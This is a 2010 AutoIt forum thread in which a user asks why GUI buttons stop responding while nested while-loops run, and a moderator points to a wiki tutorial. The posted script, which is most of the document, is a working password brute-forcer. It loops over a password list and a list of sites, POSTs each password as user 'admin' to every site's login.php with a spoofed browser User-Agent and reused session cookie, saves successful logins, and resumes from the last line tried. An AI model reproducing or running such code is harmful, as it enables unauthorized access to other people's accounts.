hipokrasi Posted October 21, 2010 Share Posted October 21, 2010 Hello! I am making a script which has three functions and all single function has while loops. as I understand, whenever multiple while loop tries to work, gui buttons arent work. and also makes gui slowdown. Can anyone help me please? expandcollapse popup#Include <File.au3> #include <GUIConstantsEx.au3> #include <ButtonConstants.au3> #include <GUIListBox.au3> #include <GuiStatusBar.au3> #include <WindowsConstants.au3> #include <Constants.au3> #NoTrayIcon AutoItSetOption("MUSTDECLAREVARS",0) Opt("TrayOnEventMode",1) Opt("TrayMenuMode",1) TraySetOnEvent($TRAY_EVENT_PRIMARYDOUBLE,"SpecialEvent") TraySetState() Func SpecialEvent() Select Case @TRAY_ID = $TRAY_EVENT_PRIMARYDOUBLE GUISetState(@SW_SHOW) EndSelect EndFunc Opt('MustDeclareVars', 0) Example() Func Example() Local $MESSAGE = "The following buttons have been clicked" global $button0, $Button1, $Button2, $List1, $msg #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("knt system v1.0", 380, 239, 189, 114) $List1 = GUICtrlCreateList("", 8, 32, 361, 123) $StatusBar1 = _GUICtrlStatusBar_Create($Form1) _GUICtrlStatusBar_SetBkColor($StatusBar1, 0xC0C0C0) $Group1 = GUICtrlCreateGroup("durum", 0, 16, 377, 153) GUICtrlCreateGroup("", -99, -99, 1, 1) $Button0 = GUICtrlCreateButton("start", 136, 184, 75, 25) $Button1 = GUICtrlCreateButton("hide window", 216, 184, 75, 25) $Button2 = GUICtrlCreateButton("cl&ear", 296, 184, 75, 25) GUISetState(@SW_SHOW) guibuttons() #EndRegion ### END Koda GUI section ### EndFunc ;==>Example func guibuttons() $msg = 0 While $msg <> $GUI_EVENT_CLOSE $msg = GUIGetMsg() Select Case $msg = $button0 start() Case $msg = $button1 GUISetState(@SW_HIDE) Case $msg = $button2 GUICtrlSetData($List1, "") EndSelect ;sleep(10) WEnd EndFunc Func start() $settingsini = "Settings.ini" global $i = 1 $resume = IniRead($settingsini, "Line", "Line number",0) if $resume > 1 then $box = MsgBox(3," Dikkat!","Bir önceki arama işleminde, " & $resume & ". satırda işlem durdurulmuş." & @CR & "İşlemi kaldığı yerden devam ettirmek ister misiniz?") if $box = 6 then $i = $resume else if $box = 2 then exit endif endif endif global $PassFileLines = _FileCountLines("sifreler.txt") while $i <= $PassFileLines Gopages(FileReadLine("sifreler.txt",$i)) IniWrite($settingsini, "Line", "Line number", $i) $i += 1 wend EndFunc Func Gopages($pass) global $oHTTP=ObjCreate("winhttp.winhttprequest.5.1") local $iss = 1 global $PageFileLines = _FileCountLines("Siteler.txt") while $iss <= $PageFileLines sendget(FileReadLine("siteler.txt",$iss),"admin",$pass) $iss += 1 wend $oHTTP=0 EndFunc ;global $page, $user, $password Func SendGet($page,$user,$password) With $oHTTP sleep(100) .Open('GET',$page, False) .SetRequestHeader('User-Agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; eBook; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') sleep(100) .Send() $sesid = stringsplit($oHTTP.GetResponseHeader("Set-Cookie"),chr(32)) sleep(100) .Open('POST', $page & '/login.php', False) .SetRequestHeader('User-Agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; eBook; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') .SetRequestHeader('Content-Type','application/x-www-form-urlencoded') .SetRequestHeader('Cookie',$sesid[1]) sleep(100) .Send('cxemail=' & $user & '&cxsifre=' & $password & '&isl=bayilogin') global $stfind = StringInStr($oHTTP.ResponseText(),"bulunan bakiye") if $stfind > 0 then IniWrite($settingsini, "Başarılı", $page, $password) ;~ if $stfind = 0 then TrayTip("Deneme durumu... Toplam şifre: " & $PassFileLines , $i & ". Satırdaki " & $password & " şifresi " & $page & " sayfasında deneniyor... " , 5, 1) GUICtrlSetData($List1, "Password:" & $password & " deneniyor" & $page & "is false") if $stfind = 0 then ConsoleWrite('Giriş başarısız: '&$page&@cr) EndWith EndFunc Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 21, 2010 Moderators Share Posted October 21, 2010 hipokrasi,Take a look at the Interrupting a running function tutorial in the Wiki - it shows a number of ways to do it. M23 Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area Link to comment Share on other sites More sharing options...
hipokrasi Posted October 21, 2010 Author Share Posted October 21, 2010 hipokrasi,Take a look at the Interrupting a running function tutorial in the Wiki - it shows a number of ways to do it. M23Thanks. I am gonna check it Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now